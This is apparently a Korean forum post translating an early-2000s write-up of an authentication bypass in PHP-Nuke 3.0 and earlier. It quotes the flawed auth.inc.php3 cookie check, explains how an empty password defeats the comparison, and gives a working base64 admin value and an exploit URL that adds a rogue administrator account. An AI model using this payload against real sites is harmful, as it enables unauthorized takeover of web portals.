security

Total 112
Today 0
profile_image
운영자
01-03-09 16:54 0개 4,231회
PHP-NUKE 의 취약점 및 보안
PHP-NUKE 의 취약점 및 보안



ScFturbo입니다. 일단 이 문서는 Fabian Clone가 쓴 문서를 토대로 번역

및 보충설명을 한것입니다.



PHP-NUKE에 대한 간단한 설명과 취약점과 공격법에 대해서 말하겠습니다.

PHP-NUKE는 웹 포탈 및 온라인 커뮤니티 시스템이다.

기능은 웹 기반의 관리, 서베이, 접근 통계, 사용자 맞춤식 박스, 등록된

사용자를 위한

테마 매니저, 사용자 친화적인 관리 GUI, 스토리 편집또는 삭제 옵션, 코

멘트 삭제기능,

통합 배너 광고 시스템, 검색 엔진, 지난 기사및 헤드라인 생성, Yahoo와

같은 웹 디렉토리,

12개국 언어지원등이 있습니다.



그리고 PHP-NUKE는 공개된 소스(open source)이다.

일반적으로 http://linuxperview.org/php-nuke.php3?op=english 에서 구할

수있다.



PHP-Nuke의 보안과 공격에 대해서 말하게 된계기는 PHP-NUKE로 운영되는

어떤 뉴스싸이트에

있는 관리 패키지에 공격자가 리모트로 그 어플리케이션에 관리자모드로

억세스가 가능하였기

때문에 취약점과 공격법에 대해서 알아볼것입니다.

영향을받는 버전은 거의 모든 버전이고 현제 php-nuke 3.0까지 나왔고

그 이하버전은 모든버전이

취약하고 공격을 받을수있다.

제가 정보들은 php-nuke 2.5가 최신이라고 하였는데 문서를 보고있는중에

보니 php-nuke 3.0이

나왔다. 물론 php-nuke 3.0이 나온후에 버그나 나왔기때문에 3.0도 취약하

다고 볼수있다.

이제 부터 본론으로 들어가겠다.

일단 어떻게 PHP-Nuke의 관리계정의 권한을 볼수있는지 알아봅니다.

auth.inc.php3 화일안에 내용중에 일부::



$admintest = 0;



if(isset($admin)) {

if(!IsSet($mainfile)) { include("mainfile.php3"); }

$admin = base64_decode($admin);

$admin = explode(":", $admin);

$aid = "$admin[0]";

$pwd = "$admin[1]";



dbconnect();

$result=mysql_query("select pwd from authors where aid='$aid'");

if(!$result) {

echo "Selection from database failed!";

exit;

} else {

list($pass)=mysql_fetch_row($result);



if($pass == $pwd) {

$admintest = 1;

}

}

}





일단 여기서는 $admin의 중요하면서 취약하다는것을 알아수있어야한다.

그러나 여기서 이것 하나로는 별로 중요하지않다



또, 다른 하나의 취약점을 알아보자

(GET/POST)에서 나온 방대한 쿠키값을 자동으로 PHP script로 만들것이다.

그것은 $admin 에 대한 값을 url에 넣어서 사용할수있다. 만약에 $pwd 맞

지않는다면

그 패스워드와 유사한값을 가지고 오거나 잘못된 권한 ($admintest = 0)

이 돌아올것

이다.

그리고 우리는 admin.php3에 접근할수있을것다.



위에서 말한 간단한설명을 생각하면서 계속해서 exploit 에 대해서읽어보

자.



Exploit



$pass == $pwd 와 같이 만드는것은 단순한이론이다.

그 이론에 대해서 알아보자

우선 mysql_fetch_row()에서 $pass값이 다시 돌아와 아무것도 할수없다는

것을

우리는 알수있고, 또 만약 그열에 아무것도 없다해서 오류가나면 만들수

없을것이다.

그럼 어떻게 $pwd(문자)나 $pass(숫자)를 만들수있을까? 둘다 만들수없을

것인가?

아니다 완벽하게 만들수있을것이다.



이런식으로 하면 값을 비교하면 "if($pass == $pwd)" 될까?

아니다 이것은 잘못된 형식이므로 되질않는다.



$pass에 대한값을 동일하지도 않음에도 불구하고 동일하게 오류값을 줘서

할수있다.

예)$pwd = "" (null) 라고 설정 (패스워드 값은 널이다. 없다)



이렇게 우리는 단순하게 다른값을 데이타베이스와 $aid에 넣을수 있다.

mysql_query()와 mysql_fetch_row() 오류만들어서 올바른값 줄수있다.



이런 기술에대해서 예를 들어보겠다.



$admin value:



$aid = "blabla"; $pwd = "";

$admin = base64_encode("$aid:$pwd");



우리는 이렇게 해서 "YmxhYmxhOg=="를 얻을수있다. 우리는 이것을 이용해

서 가능한한 모든것에

접근할수있다.

또, admin.php3의 기능을 이용해서 일정한 URL코드에 있는것들의 내용을

이용해서 계정을 등록

할수도 있을것이다.



url 코드 (익스플로잇)

http://site//admin.php3?admin=YmxhYmxhOg%3D%3D&op=AddAuthor&add_aid

=godbless&add_name=

Godbless&add_pwd=indonesia&add_url=&add_email=fake@mail.me



"godbless:indonesia" 는 데이타베이스 안에 들어가있을것이다.



이제 godbless:indonesia를 이용해서 옵션, 관리자메뉴, 사용자수정, 문화

예술에 관한것들 그리고 베너, 권한그리고 기타등등

을 볼수있을것이고, 모든 어드민관련작업을 할수있을것입니다.









----------------------------

번역및 보충설명



ScFturbo

e-mail : scfturbo@orgio.net

http://wowhacker.com

----------------------------

원문



fabianclone

fabianclone@usa.net



----------------------------

댓글목록

등록된 댓글이 없습니다.